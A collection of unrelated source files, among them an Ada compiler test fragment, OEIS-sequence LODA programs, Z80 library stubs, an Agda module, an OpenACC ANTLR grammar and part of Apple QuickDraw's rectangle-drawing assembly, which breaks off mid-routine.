THEN FAILED ("ONE PRIVATE PARAMETER CONSTRAINED MADE MATCH " & "INVALID"); END IF; END; ---------------------------------------------------------------------- -- PRESENCE (OR ABSENCE) OF AN EXPLICIT "IN" MODE ---------------------------------------------------------------------- DECLARE PROCEDURE ACT_PROC (PARM : INTEGER) IS BEGIN SUBPRG_ACT := TRUE; END ACT_PROC; GENERIC WITH PROCEDURE PASSED_PROC (PARM : IN INTEGER); PROCEDURE GEN_PROC; PROCEDURE GEN_PROC IS BEGIN PASSED_PROC (1); END GEN_PROC; PROCEDURE INST_PROC IS NEW GEN_PROC (ACT_PROC); BEGIN SUBPRG_ACT := FALSE; INST_PROC; IF NOT SUBPRG_ACT THEN FAILED ("PRESENCE OF AN EXPLICIT 'IN' MODE MADE MATCH " & "INVALID"); END IF; END; ---------------------------------------------------------------------- -- DIFFERENT TYPE MARKS ---------------------------------------------------------------------- DECLARE SUBTYPE MARK_1_TYPE IS INTEGER; SUBTYPE MARK_2_TYPE IS INTEGER; PROCEDURE ACT_PROC (PARM1 : IN MARK_1_TYPE) IS BEGIN SUBPRG_ACT := TRUE; END ACT_PROC; GENERIC WITH PROCEDURE PASSED_PROC (PARM2 : MARK_2_TYPE); PROCEDURE GEN_PROC; PROCEDURE GEN_PROC IS BEGIN PASSED_PROC (1); END GEN_PROC; PROCEDURE INST_PROC IS NEW GEN_PROC (ACT_PROC); BEGIN SUBPRG_ACT := FALSE; INST_PROC; IF NOT SUBPRG_ACT THEN FAILED ("DIFFERENT TYPE MARKS MADE MATCH INVALID"); END IF; END; RESULT; END CC3605A;
oeis/179/A179298.asm
neoneye/loda-programs
11
3831
<gh_stars>10-100 ; A179298: a(n)=n^3-(n-1)^3-(n-2)^3-...-1. ; Submitted by <NAME> ; 1,7,18,28,25,-9,-98,-272,-567,-1025,-1694,-2628,-3887,-5537,-7650,-10304,-13583,-17577,-22382,-28100,-34839,-42713,-51842,-62352,-74375,-88049,-103518,-120932,-140447,-162225,-186434,-213248,-242847,-275417 add $0,1 mov $1,$0 pow $0,3 bin $1,2 pow $1,2 sub $0,$1
libsrc/graphics/w_xordrawto.asm
Toysoft/z88dk
8
80792
<gh_stars>1-10 ; ; Z88 Graphics Functions - Small C+ stubs ; ; Written around the Interlogic Standard Library ; ; Stubs Written by <NAME> - 30/9/98 ; ; ; $Id: w_xordrawto.asm,v 1.1 2016-11-10 07:34:55 stefano Exp $ ; ;Usage: xordrawto(struct *pixels) SECTION code_clib PUBLIC xordrawto PUBLIC _xordrawto EXTERN swapgfxbk EXTERN __graphics_end EXTERN w_line EXTERN w_xorpixel .xordrawto ._xordrawto push ix ld ix,4 add ix,sp ld l,(ix+2) ld h,(ix+3) ld e,(ix+0) ld d,(ix+1) call swapgfxbk ld ix,w_xorpixel call w_line jp __graphics_end
programs/oeis/033/A033424.asm
neoneye/loda
22
246501
<gh_stars>10-100 ; A033424: a(n) = floor(10^8/n). ; 100000000,50000000,33333333,25000000,20000000,16666666,14285714,12500000,11111111,10000000,9090909,8333333,7692307,7142857,6666666,6250000,5882352,5555555,5263157,5000000,4761904,4545454,4347826 add $0,1 mov $1,100000000 div $1,$0 mov $0,$1
examples/AIM4/bag/Datoid.agda
shlevy/agda
1,989
2184
<reponame>shlevy/agda<filename>examples/AIM4/bag/Datoid.agda module Datoid where import Equiv import Prelude open Equiv open Prelude data Datoid : Set1 where datoid : (a : Set) -> DecidableEquiv a -> Datoid El : Datoid -> Set El (datoid a _) = a datoidEq : (a : Datoid) -> DecidableEquiv (El a) datoidEq (datoid _ eq) = eq datoidRel : (a : Datoid) -> El a -> El a -> Set datoidRel d = rel' (datoidEq d) datoidDecRel : (a : Datoid) -> (x y : El a) -> Either (datoidRel a x y) (Not (datoidRel a x y)) datoidDecRel d = decRel (datoidEq d) dRefl : (a : Datoid) -> {x : El a} -> datoidRel a x x dRefl a = refl (datoidEq a) dSym : (a : Datoid) -> {x y : El a} -> datoidRel a x y -> datoidRel a y x dSym a = sym (datoidEq a) dTrans : (a : Datoid) -> {x y z : El a} -> datoidRel a x y -> datoidRel a y z -> datoidRel a x z dTrans a = trans (datoidEq a) data Respects (a : Datoid) (P : El a -> Set) : Set where respects : ((x y : El a) -> datoidRel a x y -> P x -> P y) -> Respects a P subst : {a : Datoid} -> {P : El a -> Set} -> Respects a P -> (x y : El a) -> datoidRel a x y -> P x -> P y subst (respects f) = f pairDatoid : (a b : Datoid) -> Datoid pairDatoid a b = datoid (Pair (El a) (El b)) (pairEquiv (datoidEq a) (datoidEq b))
alloy4fun_models/trashltl/models/5/NhApmCACoQp7enygT.als
Kaixi26/org.alloytools.alloy
0
4848
<reponame>Kaixi26/org.alloytools.alloy open main pred idNhApmCACoQp7enygT_prop6 { eventually some f:File | always f in Trash } pred __repair { idNhApmCACoQp7enygT_prop6 } check __repair { idNhApmCACoQp7enygT_prop6 <=> prop6o }
src/accparser.g4
passlab/accparser
0
6005
parser grammar accparser; options { tokenVocab = acclexer; } // These are all supported parser sections: // Parser file header. Appears at the top in all parser related files. Use e.g. for copyrights. @ parser :: header {/* parser/listener/visitor header section */} // Appears before any #include in h + cpp files. @ parser :: preinclude {/* parser precinclude section */} // Follows directly after the standard #includes in h + cpp files. @ parser :: postinclude { /* parser postinclude section */ #ifndef _WIN32 #pragma GCC diagnostic ignored "-Wunused-parameter" #endif } // Directly preceeds the parser class declaration in the h file (e.g. for additional types etc.). @ parser :: context {/* parser context section */} // Appears in the private part of the parser in the h file. // The function bodies could also appear in the definitions section, but I want to maximize // Java compatibility, so we can also create a Java parser from this grammar. // Still, some tweaking is necessary after the Java file generation (e.g. bool -> boolean). @ parser :: members { /* public parser declarations/members section */ bool myAction() { return true; } bool doesItBlend() { return true; } void cleanUp() {} void doInit() {} void doAfter() {} } // Appears in the public part of the parser in the h file. @ parser :: declarations {/* private parser declarations section */} // Appears in line with the other class member definitions in the cpp file. @ parser :: definitions {/* parser definitions section */} // Additionally there are similar sections for (base)listener and (base)visitor files. @ parser :: listenerpreinclude {/* listener preinclude section */} @ parser :: listenerpostinclude {/* listener postinclude section */} @ parser :: listenerdeclarations {/* listener public declarations/members section */ bool isFortran; } @ parser :: listenermembers {/* listener private declarations/members section */} @ parser :: listenerdefinitions {/* listener definitions section */ isFortran = false; } @ parser :: baselistenerpreinclude {/* base listener preinclude section */} @ parser :: baselistenerpostinclude {/* base listener postinclude section */} @ parser :: baselistenerdeclarations {/* base listener public declarations/members section */} @ parser :: baselistenermembers {/* base listener private declarations/members section */} @ parser :: baselistenerdefinitions {/* base listener definitions section */} @ parser :: visitorpreinclude {/* visitor preinclude section */} @ parser :: visitorpostinclude {/* visitor postinclude section */} @ parser :: visitordeclarations {/* visitor public declarations/members section */} @ parser :: visitormembers {/* visitor private declarations/members section */} @ parser :: visitordefinitions {/* visitor definitions section */} @ parser :: basevisitorpreinclude {/* base visitor preinclude section */} @ parser :: basevisitorpostinclude {/* base visitor postinclude section */} @ parser :: basevisitordeclarations {/* base visitor public declarations/members section */} @ parser :: basevisitormembers {/* base visitor private declarations/members section */} @ parser :: basevisitordefinitions {/* base visitor definitions section */} // Actual grammar start. acc : prefix ACC openacc_directive EOF ; prefix : c_prefix | fortran_prefix ; c_prefix : C_PREFIX ; fortran_prefix : FORTRAN_PREFIX ; openacc_directive : atomic_directive | cache_directive | data_directive | declare_directive | end_directive | enter_data_directive | exit_data_directive | host_data_directive | init_directive | kernels_directive | kernels_loop_directive | loop_directive | parallel_directive | parallel_loop_directive | routine_directive | serial_directive | serial_loop_directive | set_directive | shutdown_directive | update_directive | wait_directive ; atomic_directive : ATOMIC | ATOMIC atomic_clause ; atomic_clause : capture_clause | read_clause | update_clause | write_clause ; cache_directive : CACHE LEFT_PAREN var_list RIGHT_PAREN | CACHE LEFT_PAREN cache_directive_modifier COLON var_list RIGHT_PAREN ; cache_directive_modifier : READONLY ; data_directive : DATA data_clause_list ; data_clause_list : data_clauses* ; data_clauses : attach_clause | copy_clause | copyin_clause | copyout_clause | create_clause | default_clause | deviceptr_clause | if_clause | no_create_clause | present_clause ; declare_directive : DECLARE declare_clause_list ; declare_clause_list : declare_clauses+ ; declare_clauses : copy_clause | copyin_clause | copyout_no_modifier_clause | create_no_modifier_clause | device_resident_clause | deviceptr_clause | link_clause | present_clause ; end_directive : END end_clause_seq ; end_clause_seq : fortran_paired_directive ; fortran_paired_directive : end_atomic_directive | end_data_directive | end_host_data_directive | end_kernels_directive | end_kernels_loop_directive | end_parallel_directive | end_parallel_loop_directive | end_serial_directive | end_serial_loop_directive ; end_atomic_directive : atomic_directive ; end_data_directive : data_directive ; end_host_data_directive : HOST_DATA ; end_kernels_directive : kernels_directive ; end_kernels_loop_directive : kernels_loop_directive ; end_parallel_directive : parallel_directive ; end_parallel_loop_directive : parallel_loop_directive ; end_serial_directive : serial_directive ; end_serial_loop_directive : serial_loop_directive ; enter_data_directive : ENTER DATA enter_data_clause_list ; enter_data_clause_list : enter_data_clauses+ ; enter_data_clauses : async_clause | attach_clause | copyin_no_modifier_clause | create_clause | if_clause | wait_argument_clause ; exit_data_directive : EXIT DATA exit_data_clause_list ; exit_data_clause_list : exit_data_clauses+ ; exit_data_clauses : async_clause | copyout_no_modifier_clause | delete_clause | detach_clause | finalize_clause | if_clause | wait_argument_clause ; host_data_directive : HOST_DATA host_data_clause_list ; host_data_clause_list : host_data_clauses+ ; host_data_clauses : if_clause | if_present_clause | use_device_clause ; init_directive : INIT init_clause_list ; init_clause_list : init_clauses* ; init_clauses : device_type_clause | device_num_clause | if_clause ; kernels_directive : KERNELS kernels_clause_list ; kernels_clause_list : kernels_clauses* ; kernels_clauses : async_clause | attach_clause | copy_clause | copyin_clause | copyout_clause | create_clause | default_clause | device_type_clause | deviceptr_clause | if_clause | no_create_clause | num_gangs_clause | num_workers_clause | present_clause | self_clause | vector_length_clause | wait_clause ; kernels_loop_directive : KERNELS LOOP kernels_loop_clause_list ; kernels_loop_clause_list : kernels_loop_clauses* ; kernels_loop_clauses : async_clause | attach_clause | auto_clause | collapse_clause | copy_clause | copyin_clause | copyout_clause | create_clause | default_clause | device_type_clause | deviceptr_clause | gang_clause | if_clause | independent_clause | no_create_clause | num_gangs_clause | num_workers_clause | present_clause | private_clause | reduction_clause | self_clause | seq_clause | tile_clause | vector_clause | vector_length_clause | wait_clause | worker_clause ; loop_directive : LOOP loop_clause_list ; loop_clause_list : loop_clauses* ; loop_clauses : auto_clause | collapse_clause | device_type_clause | gang_clause | independent_clause | private_clause | reduction_clause | seq_clause | tile_clause | vector_clause | worker_clause ; parallel_directive : PARALLEL parallel_clause_list ; parallel_clause_list : parallel_clauses* ; parallel_clauses : async_clause | attach_clause | copy_clause | copyin_clause | copyout_clause | create_clause | default_clause | device_type_clause | deviceptr_clause | firstprivate_clause | if_clause | no_create_clause | num_gangs_clause | num_workers_clause | present_clause | private_clause | reduction_clause | self_clause | vector_length_clause | wait_clause ; parallel_loop_directive : PARALLEL LOOP parallel_loop_clause_list ; parallel_loop_clause_list : parallel_loop_clauses* ; parallel_loop_clauses : async_clause | attach_clause | auto_clause | collapse_clause | copy_clause | copyin_clause | copyout_clause | create_clause | default_clause | device_type_clause | deviceptr_clause | firstprivate_clause | gang_clause | if_clause | independent_clause | no_create_clause | num_gangs_clause | num_workers_clause | present_clause | private_clause | reduction_clause | self_clause | seq_clause | tile_clause | vector_clause | vector_length_clause | wait_clause | worker_clause ; routine_directive : ROUTINE routine_clause_list | ROUTINE LEFT_PAREN name RIGHT_PAREN routine_clause_list ; routine_clause_list : routine_clauses+ ; routine_clauses : bind_clause | device_type_clause | gang_no_list_clause | nohost_clause | seq_clause | vector_no_modifier_clause | worker_no_modifier_clause ; name : EXPR ; serial_directive : SERIAL serial_clause_list ; serial_clause_list : serial_clauses* ; serial_clauses : async_clause | attach_clause | copy_clause | copyin_clause | copyout_clause | create_clause | default_clause | device_type_clause | deviceptr_clause | firstprivate_clause | if_clause | no_create_clause | present_clause | private_clause | reduction_clause | self_clause | wait_clause ; serial_loop_directive : SERIAL LOOP serial_loop_clause_list ; serial_loop_clause_list : serial_loop_clauses* ; serial_loop_clauses : async_clause | attach_clause | auto_clause | collapse_clause | copy_clause | copyin_clause | copyout_clause | create_clause | default_clause | device_type_clause | deviceptr_clause | firstprivate_clause | gang_clause | if_clause | independent_clause | no_create_clause | present_clause | private_clause | reduction_clause | self_clause | seq_clause | tile_clause | vector_clause | wait_clause | worker_clause ; set_directive : SET set_clause_list ; set_clause_list : set_clauses* ; set_clauses : default_async_clause | device_type_clause | device_num_clause | if_clause ; shutdown_directive : SHUTDOWN shutdown_clause_list ; shutdown_clause_list : shutdown_clauses* ; shutdown_clauses : device_type_clause | device_num_clause | if_clause ; update_directive : UPDATE update_clause_list ; update_clause_list : update_clauses+ ; update_clauses : async_clause | device_clause | device_type_clause | host_clause | if_clause | if_present_clause | self_list_clause | wait_argument_clause ; wait_directive : WAIT wait_clause_list | WAIT LEFT_PAREN wait_argument RIGHT_PAREN wait_clause_list ; wait_clause_list : wait_clauses* ; wait_clauses : async_clause | if_clause ; async_clause : ASYNC | ASYNC LEFT_PAREN int_expr RIGHT_PAREN ; attach_clause : ATTACH LEFT_PAREN var_list RIGHT_PAREN ; auto_clause : AUTO ; bind_clause : BIND LEFT_PAREN name_or_string RIGHT_PAREN ; name_or_string : EXPR ; capture_clause : CAPTURE ; collapse_clause : COLLAPSE LEFT_PAREN const_int RIGHT_PAREN ; copy_clause : COPY LEFT_PAREN var_list RIGHT_PAREN ; copyin_clause : COPYIN LEFT_PAREN var_list RIGHT_PAREN | COPYIN LEFT_PAREN copyin_clause_modifier COLON var_list RIGHT_PAREN ; copyin_clause_modifier : READONLY ; copyin_no_modifier_clause : COPYIN LEFT_PAREN var_list RIGHT_PAREN ; copyout_clause : COPYOUT LEFT_PAREN var_list RIGHT_PAREN | COPYOUT LEFT_PAREN copyout_clause_modifier COLON var_list RIGHT_PAREN ; copyout_clause_modifier : ZERO ; copyout_no_modifier_clause : COPYOUT LEFT_PAREN var_list RIGHT_PAREN ; create_clause : CREATE LEFT_PAREN var_list RIGHT_PAREN | CREATE LEFT_PAREN create_clause_modifier COLON var_list RIGHT_PAREN ; create_clause_modifier : ZERO ; create_no_modifier_clause : CREATE LEFT_PAREN var_list RIGHT_PAREN ; default_clause : DEFAULT LEFT_PAREN default_kind RIGHT_PAREN ; default_kind : NONE | PRESENT ; default_async_clause : DEFAULT_ASYNC LEFT_PAREN int_expr RIGHT_PAREN ; delete_clause : DELETE LEFT_PAREN var_list RIGHT_PAREN ; detach_clause : DETACH LEFT_PAREN var_list RIGHT_PAREN ; device_clause : DEVICE LEFT_PAREN var_list RIGHT_PAREN ; device_num_clause : DEVICE_NUM LEFT_PAREN int_expr RIGHT_PAREN ; device_resident_clause : DEVICE_RESIDENT LEFT_PAREN var_list RIGHT_PAREN ; device_type_clause : DEVICE_TYPE LEFT_PAREN device_type_list RIGHT_PAREN ; device_type_list : (var COMMA | var)+ ; deviceptr_clause : DEVICEPTR LEFT_PAREN var_list RIGHT_PAREN ; finalize_clause : FINALIZE ; firstprivate_clause : FIRSTPRIVATE LEFT_PAREN var_list RIGHT_PAREN ; gang_clause : GANG | GANG LEFT_PAREN gang_arg_list RIGHT_PAREN ; gang_arg_list : (var COMMA | var)+ ; gang_no_list_clause : GANG ; host_clause : HOST LEFT_PAREN var_list RIGHT_PAREN ; if_clause : IF LEFT_PAREN condition RIGHT_PAREN ; if_present_clause : IF_PRESENT ; independent_clause : INDEPENDENT ; link_clause : LINK LEFT_PAREN var_list RIGHT_PAREN ; nohost_clause : NOHOST ; no_create_clause : NO_CREATE LEFT_PAREN var_list RIGHT_PAREN ; num_gangs_clause : NUM_GANGS LEFT_PAREN int_expr RIGHT_PAREN ; num_workers_clause : NUM_WORKERS LEFT_PAREN int_expr RIGHT_PAREN ; present_clause : PRESENT LEFT_PAREN var_list RIGHT_PAREN ; private_clause : PRIVATE LEFT_PAREN var_list RIGHT_PAREN ; read_clause : READ ; reduction_clause : REDUCTION LEFT_PAREN reduction_operator COLON var_list RIGHT_PAREN ; reduction_operator : ADD | MUL | MAX | MIN | BITAND | BITOR | BITXOR | LOGAND | LOGOR ; self_clause : SELF | SELF LEFT_PAREN condition RIGHT_PAREN ; self_list_clause : SELF LEFT_PAREN var_list RIGHT_PAREN ; condition : EXPR ; seq_clause : SEQ ; tile_clause : TILE LEFT_PAREN size_expr_list RIGHT_PAREN ; update_clause : UPDATE ; size_expr_list : (var COMMA | var)+ ; use_device_clause : USE_DEVICE LEFT_PAREN var_list RIGHT_PAREN ; vector_clause : VECTOR | VECTOR vector_clause_args ; vector_clause_args : LEFT_PAREN vector_clause_modifier COLON int_expr RIGHT_PAREN | LEFT_PAREN int_expr RIGHT_PAREN ; vector_clause_modifier : LENGTH ; vector_no_modifier_clause : VECTOR ; vector_length_clause : VECTOR_LENGTH LEFT_PAREN int_expr RIGHT_PAREN ; wait_clause : WAIT | WAIT LEFT_PAREN int_expr_list RIGHT_PAREN ; wait_argument_clause : WAIT | WAIT LEFT_PAREN wait_argument RIGHT_PAREN ; wait_argument : DEVNUM COLON wait_argument_int_expr COLON wait_argument_queues COLON wait_int_expr_list | DEVNUM COLON wait_argument_int_expr COLON wait_int_expr_list | wait_argument_queues COLON wait_int_expr_list | wait_int_expr_list ; wait_int_expr_list : (wait_int_expr COMMA | wait_int_expr)+ ; wait_int_expr : EXPR ; wait_argument_queues : QUEUES ; wait_argument_int_expr : EXPR ; worker_clause : WORKER | WORKER worker_clause_args ; worker_clause_args : LEFT_PAREN worker_clause_modifier COLON int_expr RIGHT_PAREN | LEFT_PAREN int_expr RIGHT_PAREN ; worker_clause_modifier : NUM ; worker_no_modifier_clause : WORKER ; write_clause : WRITE ; const_int : EXPR ; int_expr_list : (int_expr COMMA | int_expr)+ ; int_expr : EXPR ; var_list : (var COMMA | var)+ ; var : EXPR ; finally { cleanUp(); }
libsrc/_DEVELOPMENT/string/c/sccz80/strtok_callee.asm
Frodevan/z88dk
640
13979
; char *strtok(char * restrict s1, const char * restrict s2) SECTION code_clib SECTION code_string PUBLIC strtok_callee EXTERN asm_strtok strtok_callee: IF __CPU_GBZ80__ pop bc pop de pop hl push bc call asm_strtok ld d,h ld e,l ret ELSE pop hl pop de ex (sp),hl jp asm_strtok ENDIF ; SDCC bridge for Classic IF __CLASSIC PUBLIC _strtok_callee defc _strtok_callee = strtok_callee ENDIF
oeis/277/A277954.asm
neoneye/loda-programs
11
18207
; A277954: Decimal representation of the x-axis, from the left edge to the origin, of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 14", based on the 5-celled von Neumann neighborhood. ; Submitted by <NAME> ; 1,3,6,14,26,58,106,234,426,938,1706,3754,6826,15018,27306,60074,109226,240298,436906,961194,1747626,3844778,6990506,15379114,27962026,61516458,111848106,246065834,447392426,984263338,1789569706,3937053354,7158278826,15748213418,28633115306,62992853674,114532461226,251971414698,458129844906,1007885658794,1832519379626,4031542635178,7330077518506,16126170540714,29320310074026,64504682162858,117281240296106,258018728651434,469124961184426,1032074914605738,1876499844737706,4128299658422954 add $0,1 mov $1,2 pow $1,$0 gcd $0,2 add $0,9 mul $0,$1 div $0,12
support/QtCreator/share/qtcreator/templates/wizards/projects/cppnasm/file.asm
agguro/nasm-support
6
241726
;name: %{CN}.asm ; ;description: ; bits 64 %include "../%{Filename}/inc/%{CN}.inc" global %{CN} section .rodata hello: db "hello world.",10 .len: equ $-hello section .text %{CN}: syscall write, stdout,hello,hello.len ret
Quickdraw/QuickDraw Source/Rects.asm
Computer-history-Museum/MacPaint
2
25809
.INCLUDE GRAFTYPES.TEXT ;----------------------------------------------------------- ; ; ; **** ***** *** ***** *** ; * * * * * * * * ; * * * * * * ; **** *** * * *** ; * * * * * * ; * * * * * * * * ; * * ***** *** * *** ; ; ; ; Procedures for operating on rectangles. ; .PROC StdRect,2 .REF CheckPic,PutPicVerb,PutPicRect .REF PutRect,FrRect,PushVerb,DrawRect ;--------------------------------------------------------------- ; ; PROCEDURE StdRect(verb: GrafVerb; r: Rect); ; ; A6 OFFSETS OF PARAMS AFTER LINK: ; PARAMSIZE .EQU 6 VERB .EQU PARAMSIZE+8-2 ;GRAFVERB RECT .EQU VERB-4 ;LONG, ADDR OF RECT LINK A6,#0 ;NO LOCALS MOVEM.L D7/A3-A4,-(SP) ;SAVE REGS MOVE.B VERB(A6),D7 ;GET VERB JSR CHECKPIC ;SET UP A4,A3 AND CHECK PICSAVE BLE.S NOTPIC ;BRANCH IF NOT PICSAVE MOVE.B D7,-(SP) ;PUSH VERB JSR PutPicVerb ;PUT ADDIONAL PARAMS TO THEPIC MOVEQ #$30,D0 ;GET RECTNOUN IN HI NIBBLE ADD D7,D0 ;PUT VERB IN LO NIBBLE MOVE.B D0,-(SP) ;PUSH OPCODE MOVE.L RECT(A6),-(SP) ;PUSH ADDR OF RECT JSR PutPicRect ;PUT OPCODE AND RECTANGLE NOTPIC MOVE.L RECT(A6),-(SP) ;PUSH RECT FOR FrRect or DrawRect TST.B D7 ;IS VERB FRAME ? BNE.S NOTFR ;NO, CONTINUE TST.L RGNSAVE(A3) ;YES, IS RGNSAVE TRUE ? BEQ.S NOTRGN ;NO, CONTINUE MOVE.L RECT(A6),-(SP) ;YES, PUSH ADDR OF RECT MOVE.L RGNBUF(A4),-(SP) ;PUSH RGNBUF PEA RGNINDEX(A4) ;PUSH VAR RGNINDEX PEA RGNMAX(A4) ;PUSH VAR RGNMAX JSR PutRect ;ADD A RECT TO THERGN NOTRGN JSR FrRect ;FrRect(rect) BRA.S GOHOME NOTFR JSR PushVerb ;PUSH MODE AND PATTERN JSR DRAWRECT ;DrawRect(rect,mode,pat); GOHOME MOVEM.L (SP)+,D7/A3-A4 ;RESTORE REGS UNLINK PARAMSIZE,'STDRECT ' .PROC PushVerb ;---------------------------------------------------------- ; ; PUSH A MODE AND A PATTERN, BASED ON VERB ; ENTER WITH VERB IN D7, GRAFGLOBALS IN A4, THEPORT IN A3. ; ; CLOBBERS A0. ; ; frame: pnMode, pnPat ; paint: pnMode, pnPat ; erase: patCopy, bkPat ; invert: patXor, black ; fill: patCopy, fillPat ; MOVE.L (SP)+,A0 ;POP RETURN ADDR MOVE #8,-(SP) ;PUSH MODE = PATCOPY (IE. DEFAULT) CMP.B #1,D7 ;CASE ON VERB BLE.S PAINT1 CMP.B #3,D7 BLT.S ERASE1 BEQ.S INVERT1 FILL1 PEA FILLPAT(A3) ;PUSH PAT := FILLPAT BRA.S DONE ERASE1 PEA BKPAT(A3) ;PUSH PAT = BKPAT BRA.S DONE INVERT1 ADD.W #2,(SP) ;ADJUST, PUSH MODE = PATXOR PEA BLACK(A4) ;PUSH PAT = BLACK BRA.S DONE PAINT1 MOVE PNMODE(A3),(SP) ;REPLACE, PUSH MODE = PNMODE PEA PNPAT(A3) ;PUSH PAT = PNPAT DONE JMP (A0) ;RETURN TO CALLER .PROC FillRect,2 .DEF CallRect,FrameRect,PaintRect,EraseRect,InvertRect .REF StdRect ;---------------------------------------------------------- ; ; PROCEDURE FillRect(r: Rect; pat: Pattern); ; MOVE.L (SP)+,A0 ;POP RETURN ADDR MOVE.L (SP)+,A1 ;POP ADDR OF PATTERN MOVE.L A0,-(SP) ;PUT RETURN ADDR BACK MOVE.L GRAFGLOBALS(A5),A0 ;POINT TO LISAGRAF GLOBALS MOVE.L THEPORT(A0),A0 ;GET CURRENT GRAFPORT LEA FILLPAT(A0),A0 ;POINT TO FILLPAT MOVE.L (A1)+,(A0)+ ;COPY PAT INTO FILLPAT MOVE.L (A1)+,(A0)+ ;ALL EIGHT BYTES MOVEQ #FILL,D0 ;VERB = FILL BRA.S CallRect ;SHARE COMMON CODE ;---------------------------------------------------------- ; ; PROCEDURE FrameRect(r: Rect); ; FrameRect MOVEQ #FRAME,D0 ;VERB = FRAME BRA.S CallRect ;SHARE COMMON CODE ;---------------------------------------------------------- ; ; PROCEDURE PaintRect(r: Rect); ; PaintRect MOVEQ #PAINT,D0 ;VERB = PAINT BRA.S CallRect ;SHARE COMMON CODE ;---------------------------------------------------------- ; ; PROCEDURE EraseRect(r: Rect); ; EraseRect MOVEQ #ERASE,D0 ;VERB = ERASE BRA.S CallRect ;SHARE COMMON CODE ;---------------------------------------------------------- ; ; PROCEDURE InvertRect(r: Rect); ; InvertRect MOVEQ #INVERT,D0 ;VERB = INVERT BRA.S CallRect ;SHARE COMMON CODE ;--------------------------------------------------------------- ; ; PROCEDURE CallRect(r: Rect); ; ; code shared by FrameRect, PaintRect, EraseRect, InvertRect, and FillRect. ; enter with verb in D0. ; CallRect MOVE.L (SP)+,A0 ;POP RETURN ADDR MOVE.L (SP)+,A1 ;POP ADDR OF RECT MOVE.B D0,-(SP) ;PUSH VERB MOVE.L A1,-(SP) ;PUSH ADDR OF RECT MOVE.L A0,-(SP) ;RESTORE RETURN ADDR MOVE.L GRAFGLOBALS(A5),A0 ;POINT TO LISAGRAF GLOBALS MOVE.L THEPORT(A0),A0 ;GET CURRENT GRAFPORT MOVE.L GRAFPROCS(A0),D0 ;IS GRAFPROCS NIL ? LEA STDRECT,A0 BEQ.S USESTD ;YES, USE STD PROC MOVE.L D0,A0 MOVE.L RECTPROC(A0),A0 ;NO, GET PROC PTR USESTD JMP (A0) ;GO TO IT .PROC DrawRect,3 .REF RgnBlt ;---------------------------------------------------------- ; ; PROCEDURE DrawRect(r: Rect; mode: INTEGER; pat: Pattern); ; ; Rectangle is given in local coordinates. ; ; A6 OFFSETS OF PARAMS AND LOCALS AFTER LINK: ; PARAMSIZE .EQU 10 ;TOTAL BYTES OF PARAMS DSTRECT .EQU PARAMSIZE+8-4 ;LONG, ADDR OF RECT MODE .EQU DSTRECT-2 ;WORD PAT .EQU MODE-4 ;LONG, ADDR OF PAT LINK A6,#0 ;NO LOCAL VARS MOVE.L GRAFGLOBALS(A5),A0 ;POINT TO LISAGRAF GLOBALS MOVE.L THEPORT(A0),A1 ;GET CURRENT GRAFPORT TST PNVIS(A1) ;IS PNVIS >= 0 ? BLT.S GOHOME ;NO, QUIT PEA PORTBITS(A1) ;PUSH SRCBITS = DSTBITS MOVE.L (SP),-(SP) ;PUSH DSTBITS MOVE.L DSTRECT(A6),-(SP) ;PUSH SRCRECT = DSTRECT MOVE.L (SP),-(SP) ;PUSH DSTRECT MOVE MODE(A6),-(SP) ;PUSH MODE MOVE.L PAT(A6),-(SP) ;PUSH ADDR OF PATTERN MOVE.L CLIPRGN(A1),-(SP) ;PUSH CLIPRGN MOVE.L VISRGN(A1),-(SP) ;PUSH VISRGN MOVE.L WIDEOPEN(A0),-(SP) ;PUSH WIDE OPEN JSR RGNBLT ;CALL RGNBLT GOHOME UNLINK PARAMSIZE,'DRAWRECT' .PROC FrRect,1 .REF RgnBlt ;---------------------------------------------------------- ; ; PROCEDURE FrRect(r: Rect); ; Draws an outline inside a rect. ; ; A6 OFFSETS OF PARAMETERS AND LOCALS AFTER LINK: ; DSTRECT .EQU 8 ;LONG, ADDR OF RECT H1 .EQU -2 ;WORD H2 .EQU H1-2 ;WORD H3 .EQU H2-2 ;WORD H4 .EQU H3-4 ;WORD V1 .EQU H4-2 ;WORD V2 .EQU V1-2 ;WORD V3 .EQU V2-2 ;WORD V4 .EQU V3-4 ;WORD TEMPRECT .EQU V4-8 ;RECT VARSIZE .EQU TEMPRECT ;TOTAL SIZE OF LOCALS LINK A6,#VARSIZE ;SET UP STACK FRAME MOVE.L GRAFGLOBALS(A5),A0 ;POINT TO LISAGRAF GLOBALS MOVE.L THEPORT(A0),A0 ;GET CURRENT GRAFPORT TST PNVIS(A0) ;IS PNVIS NEGATIVE ? BLT GOHOME ;YES, DON'T DRAW AT ALL MOVE.L DSTRECT(A6),A1 ;POINT TO INPUT RECT MOVE.L (A1)+,TEMPRECT+TOPLEFT(A6) ;COPY INPUT RECT MOVE.L (A1)+,TEMPRECT+BOTRIGHT(A6) ; ; Now set up h1,h2,h3,h4 and v1,v2,v3,v4 ; LEA TEMPRECT(A6),A1 ;POINT TO COPIED RECT MOVE PNSIZE+H(A0),D2 ;GET PEN WIDTH MOVE LEFT(A1),D0 MOVE D0,H1(A6) ;H1:=LEFT ADD D2,D0 MOVE D0,H2(A6) ;H2:=LEFT+PENWIDTH MOVE RIGHT(A1),D1 MOVE D1,H4(A6) ;H4:=RIGHT SUB D2,D1 MOVE D1,H3(A6) ;H3:=RIGHT-PENWIDTH CMP D1,D0 ;IS H2 >= H3 ? BGE.S @1 ;YES, FILL IT IN SOLID MOVE PNSIZE+V(A0),D2 ;GET PEN HEIGHT MOVE TOP(A1),D0 MOVE D0,V1(A6) ;V1:=TOP ADD D2,D0 MOVE D0,V2(A6) ;V2:=TOP+PENHEIGHT MOVE BOTTOM(A1),D1 MOVE D1,V4(A6) ;V4:=BOTTOM SUB D2,D1 MOVE D1,V3(A6) ;V3:=BOTTOM-PENHEIGHT CMP D1,D0 ;IS V2 >= V3 ? BGE.S @1 ;YES, FILL IT IN SOLID ; ; PEN IS NOT SO BIG AS TO FILL IN SOLID. BREAK RECT INTO 4 EDGES. ; MOVE H1(A6),TEMPRECT+LEFT(A6) MOVE H3(A6),TEMPRECT+RIGHT(A6) MOVE V1(A6),TEMPRECT+TOP(A6) MOVE V2(A6),TEMPRECT+BOTTOM(A6) BSR.S DORECT ;PAINT TOP EDGE MOVE H3(A6),TEMPRECT+LEFT(A6) MOVE H4(A6),TEMPRECT+RIGHT(A6) MOVE V3(A6),TEMPRECT+BOTTOM(A6) BSR.S DORECT ;PAINT RIGHT EDGE MOVE H2(A6),TEMPRECT+LEFT(A6) MOVE V3(A6),TEMPRECT+TOP(A6) MOVE 